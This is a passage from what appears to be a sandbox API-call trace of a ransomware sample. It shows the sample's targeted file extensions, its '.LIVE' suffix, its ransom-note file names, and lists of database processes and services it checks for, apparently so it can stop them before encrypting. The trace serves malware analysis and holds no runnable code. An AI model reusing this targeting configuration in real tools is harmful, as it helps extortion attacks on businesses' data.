tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570318 | out: hHeap=0x520000) returned 1 [0034.616] lstrlenW (lpString="") returned 0 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5751a8 | out: hHeap=0x520000) returned 1 [0034.616] lstrlenW (lpString=".LIVE") returned 5 [0034.616] lstrlenW (lpString=".LIVE") returned 5 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5751a8 | out: hHeap=0x520000) returned 1 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5751d8, Size=0x20) returned 0x555ad0 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555ad0, Size=0x40) returned 0x556c60 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556c60, Size=0x80) returned 0x57b708 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a428, Size=0x8) returned 0x55a438 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a438, Size=0x10) returned 0x5751d8 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5751d8, Size=0x20) returned 0x555b20 [0034.616] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b708 | out: hHeap=0x520000) returned 1 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575208, Size=0x20) returned 0x555b48 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555b48, Size=0x40) returned 0x556c60 [0034.616] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0034.616] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c60 | out: hHeap=0x520000) returned 1 [0034.616] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575208, Size=0x20) returned 0x555b48 [0034.616] lstrlenW (lpString="Info.hta") returned 8 [0034.616] lstrlenW (lpString="Info.hta") returned 8 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b48 | out: hHeap=0x520000) returned 1 [0034.616] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x59d718, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0x60 [0034.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59d718 | out: hHeap=0x520000) returned 1 [0034.617] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555b20, Size=0x40) returned 0x556c60 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575208, Size=0x20) returned 0x555b20 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575208, Size=0x20) returned 0x555b48 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555b48, Size=0x40) returned 0x556ca8 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556ca8, Size=0x80) returned 0x57b708 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x571338 [0034.617] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571338 | out: hHeap=0x520000) returned 1 [0034.617] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x59d718, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0034.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ad720 | out: hHeap=0x520000) returned 1 [0034.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59d718 | out: hHeap=0x520000) returned 1 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a438, Size=0x8) returned 0x55a428 [0034.617] lstrlenW (lpString="%windir%;") returned 9 [0034.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b20 | out: hHeap=0x520000) returned 1 [0034.617] lstrlenW (lpString="C:\\Windows;") returned 11 [0034.617] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d710 | out: hHeap=0x520000) returned 1 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575220, Size=0x20) returned 0x555b20 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555b20, Size=0x40) returned 0x556ca8 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556ca8, Size=0x80) returned 0x57b708 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x571338 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a468, Size=0x8) returned 0x55a478 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a478, Size=0x10) returned 0x575268 [0034.617] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575268, Size=0x20) returned 0x555b20 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a438, Size=0x8) returned 0x55a478 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a448, Size=0x8) returned 0x55a438 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a468, Size=0x8) returned 0x55a488 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a488, Size=0x10) returned 0x575310 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575310, Size=0x20) returned 0x555b48 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a478, Size=0x10) returned 0x575310 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a438, Size=0x10) returned 0x570348 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a478, Size=0x8) returned 0x55a468 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a498, Size=0x8) returned 0x55a4a8 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x575310, Size=0x20) returned 0x555b70 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570348, Size=0x20) returned 0x555b98 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a4b8, Size=0x8) returned 0x55a4c8 [0034.618] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0034.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571338 | out: hHeap=0x520000) returned 1 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5703d8, Size=0x20) returned 0x555be8 [0034.618] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x58d710, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0034.618] lstrlenW (lpString="C:\\") returned 3 [0034.618] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d710 | out: hHeap=0x520000) returned 1 [0034.618] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x573338, Size=0x82) returned 0x56c670 [0034.619] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x573358, Size=0x100) returned 0x571338 [0034.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570498 [0034.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x82) returned 0x56bf90 [0034.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5704b0 [0034.631] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x82) returned 0x56c020 [0034.631] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56bf90, Size=0x104) returned 0x570b18 [0034.631] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b928, Size=0x100) returned 0x571440 [0034.631] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x56c670, Size=0x104) returned 0x570c28 [0034.631] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x571338, Size=0x200) returned 0x575348 [0034.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x573348 | out: hHeap=0x520000) returned 1 [0034.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x575348 | out: hHeap=0x520000) returned 1 [0034.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570480 | out: hHeap=0x520000) returned 1 [0034.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b8a0 | out: hHeap=0x520000) returned 1 [0034.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570438 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b818 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570468 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c28 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570450 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570b18 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570498 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c020 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5704b0 | out: hHeap=0x520000) returned 1 [0034.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573338 [0034.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5704b0 [0034.633] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5704b0, Size=0x20) returned 0x555c10 [0034.633] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555c10, Size=0x40) returned 0x556ca8 [0034.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5704b0 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4d8 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5703d8 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b700 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570408 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571440 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5703f0 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4e8 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570420 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x558018 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556230 | out: hHeap=0x520000) returned 1 [0034.633] lstrlenW (lpString="%systemdrive%") returned 13 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555be8 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b708 | out: hHeap=0x520000) returned 1 [0034.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4b8 | out: hHeap=0x520000) returned 1 [0034.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2c) returned 0x557e90 [0034.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x579330 [0034.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x57d6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0034.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0x557d78*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x940 Thread: id = 4 os_tid = 0xac0 [0035.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570420 [0035.469] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570420, Size=0x20) returned 0x555c10 [0035.469] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555c10, Size=0x40) returned 0x556cf0 [0035.469] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556cf0, Size=0x80) returned 0x57b708 [0035.469] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x571440 [0035.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570420 [0035.469] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570420, Size=0x20) returned 0x555c10 [0035.469] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555c10, Size=0x40) returned 0x556cf0 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556cf0, Size=0x80) returned 0x57b708 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x571338 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x570420 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55a4b8 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5703f0 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a4b8, Size=0x8) returned 0x55a4e8 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x556250 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a4e8, Size=0x10) returned 0x570408 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x556270 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x555c10 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570408, Size=0x20) returned 0x555c38 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c) returned 0x555c60 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16) returned 0x556290 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1a) returned 0x555c88 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x570408 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55a4e8 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x556cf0 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a4e8, Size=0x8) returned 0x55a4b8 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c) returned 0x556d38 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55a4b8, Size=0x10) returned 0x5703d8 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x5562b0 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x5562d0 [0035.470] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5703d8, Size=0x20) returned 0x555cb0 [0035.470] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x24) returned 0x558018 [0035.470] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0035.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571440 | out: hHeap=0x520000) returned 1 [0035.471] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0035.471] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571338 | out: hHeap=0x520000) returned 1 [0035.471] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x555d50 [0035.471] EnumServicesStatusExW (in: hSCManager=0x555d50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0035.472] GetLastError () returned 0xea [0035.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x134c) returned 0x58e750 [0035.472] EnumServicesStatusExW (in: hSCManager=0x555d50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x58e750, cbBufSize=0x134c, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x58e750, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0035.473] CloseServiceHandle (hSCObject=0x555d50) returned 1 [0035.473] lstrlenW (lpString="Appinfo") returned 7 [0035.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0035.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0035.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0035.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0035.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0035.474] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0035.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0035.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0035.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0035.474] lstrlenW (lpString="AudioSrv") returned 8 [0035.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0035.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0035.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0035.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0035.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0035.474] lstrlenW (lpString="BFE") returned 3 [0035.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0035.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0035.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0035.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0035.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0035.474] lstrlenW (lpString="CryptSvc") returned 8 [0035.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0035.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0035.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0035.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0035.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0035.474] lstrlenW (lpString="CscService") returned 10 [0035.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0035.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0035.475] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0035.475] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0035.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0035.475] lstrlenW (lpString="DcomLaunch") returned 10 [0035.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0035.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0035.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0035.475] lstrlenW (lpString="Dhcp") returned 4 [0035.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0035.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0035.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0035.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0035.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0035.475] lstrlenW (lpString="Dnscache") returned 8 [0035.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0035.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0035.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0035.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0035.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0035.475] lstrlenW (lpString="DPS") returned 3 [0035.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0035.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0035.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0035.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0035.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0035.475] lstrlenW (lpString="eventlog") returned 8 [0035.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0035.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0035.476] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0035.476] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0035.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0035.476] lstrlenW (lpString="EventSystem") returned 11 [0035.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0035.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0035.476] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0035.476] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0035.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0035.476] lstrlenW (lpString="FontCache") returned 9 [0035.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0035.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0035.476] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0035.476] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0035.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0035.476] lstrlenW (lpString="gpsvc") returned 5 [0035.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0035.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0035.476] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0035.476] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0035.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0035.476] lstrlenW (lpString="iphlpsvc") returned 8 [0035.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.476] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0035.476] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0035.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0035.476] lstrlenW (lpString="LanmanServer") returned 12 [0035.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0035.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0035.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0035.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0035.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0035.477] lstrlenW (lpString="LanmanWorkstation") returned 17 [0035.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0035.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0035.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0035.477] lstrlenW (lpString="lmhosts") returned 7 [0035.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0035.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0035.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0035.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0035.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") 